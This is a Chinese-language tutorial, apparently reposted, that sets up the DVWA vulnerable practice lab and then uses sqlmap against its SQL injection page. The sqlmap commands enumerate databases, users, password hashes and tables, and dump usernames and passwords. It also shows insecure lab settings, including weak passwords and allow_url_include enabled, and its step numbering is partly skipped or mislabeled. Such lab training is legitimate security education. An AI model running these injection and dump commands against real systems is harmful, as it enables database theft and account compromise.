下文内容主要给大家带来测试演练系统DVWA流程,这里所讲到的知识,与书籍略有不同,都是编程之家专业技术人员在与用户接触过程中,总结出来的,具有一定的经验分享价值,希望给广大读者带来帮助。
一、部署***测试演练系统DVWA
1. 下载DVWA软件包
官方下载地址:http://www.dvwa.co.uk/,当前最新版本为:DVWA-1.9
wget https://codeload.github.com/ethicalhack3r/DVWA/zip/master
2. 部署linux环境
yum install -y httpd mysql MysqL-server PHP PHP-MysqL PHP-gd
3. 开启httpd和MysqLd服务
service httpd start
service MysqLd start
4. 测试htttp对PHP的解析,浏览器访问http://ip/test.PHP正常
vim /var/www/html/test.PHP
写入:
<?PHP
PHPinfo();
?>
MysqLadmin -uroot password "123456"
6. 将DVWA-1.9.zip解压至/var/www/html,并修改属主为apache
unzip DVWA-1.9.zip -d /var/www/html
chown -R apache:apache /var/www/html/DVWA-1.9
vim /var/www/html/DVWA-1.9/config/config.inc.PHP
修改密码:
$_DVWA[ 'db_password' ] = '123456';
8. 进入DVWA的web安装界面,http://ip/DVWA-1.9/setup.PHP,发现报错
解决方法:
allow_url_include = On
2)编辑DVWA配置文件 vim /var/www/html/DVWA-1.9/config/config.inc.PHP
找到创建公钥和私钥的链接:https://www.google.com/recaptcha/admin/create申请后填写在配置文件中:
公钥:6LcY-BUUAAAAAGJ5Q0Y5zPEccMG5vCeHI1Lnwqyb
私钥:6LcY-BUUAAAAAPvvHmppQRscfHuV0QPPuM5-Px3k
9. 重启http,使修改的配置文件生效,刷新web界面,错误消除
service httpd restart
10. 点击Create/Reset Database,自动跳转到登录界面,默认用户名/密码:admin/password
至此,DVWA已部署完成
二、安装sqlmap漏洞查看工具
1. 官方下载:http://sqlmap.org/http://sqlmap.org/
版本:sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz
2. 解压sqlmap,并执行
说明:该工具是用python写的,需安装python,它不是编译型语言,而是执行性语言,直接运行
命令 tar -zxvf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz
命令 ./sqlmap.py
3. 设置命令别名,修改vim /etc/profile,直接使用sqlmap命令
命令 alias sqlmap='python /usr/local/src/sqlmapproject-sqlmap-7eab1bc/sqlmap.py'
命令 source /etc/profile
三、实战
实战2:枚举所有数据库
实战3:枚举指定数据库的数据表
实战5:枚举指定数据表中的所有用户名与密码
环境准备:
1)登录http://192.168.1.124/DVWA-1.9,将安全级别设置为最低;
2)开启Firefox浏览器TamperData插件,等待获取cookies值;
3)在【sql Injection】项中,提交User ID为22(地址栏出现id=22,这就是MysqL的注入点)
获得注入点:http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#
4)TamperData弹窗获取cookies值:security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552
sqlmap语法参数:
-u :指定目标URL,即注入点
--cookies:当前会话的cookies值
命令:
sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552' -b --current-db --current-user
结果:得到当前数据库为dawa,使用的用户为root@localhost
实战2:枚举所有数据库
sqlmap语法参数:
命令:
sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552' --string="Surname" --users --password
说明:选择目录下字典文件,暴力破解
sqlmap语法参数:
--dbs:枚举当前数据库
命令:
sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552' --string="Surname" --dbs
命令:
sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552' --string="Surname" -D dvwa --tables
结果:dvwa库中,所有的表
sqlmap语法参数:
命令:
sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552' --string="Surname" -D dvwa -T users --columns
结果:dvwa库,users表中所有字段信息
实战5:枚举指定数据表中的所有用户名与密码
sqlmap语法参数:
-C:枚举数据表中的列
--dump:存储数据表项
命令:
sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh6g76l450ujf5552' --string="Surname" -D dvwa -T users -C user,password --dump
结果:dvwa库,users表中user字段和password字段信息,最后表中信息转存文件中
对于以上关于测试演练系统DVWA流程,如果大家还有更多需要了解的可以持续关注我们编程之家的行业推新,如需获取专业解答,可在官网联系售前售后的,希望该文章可给大家带来一定的知识更新。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。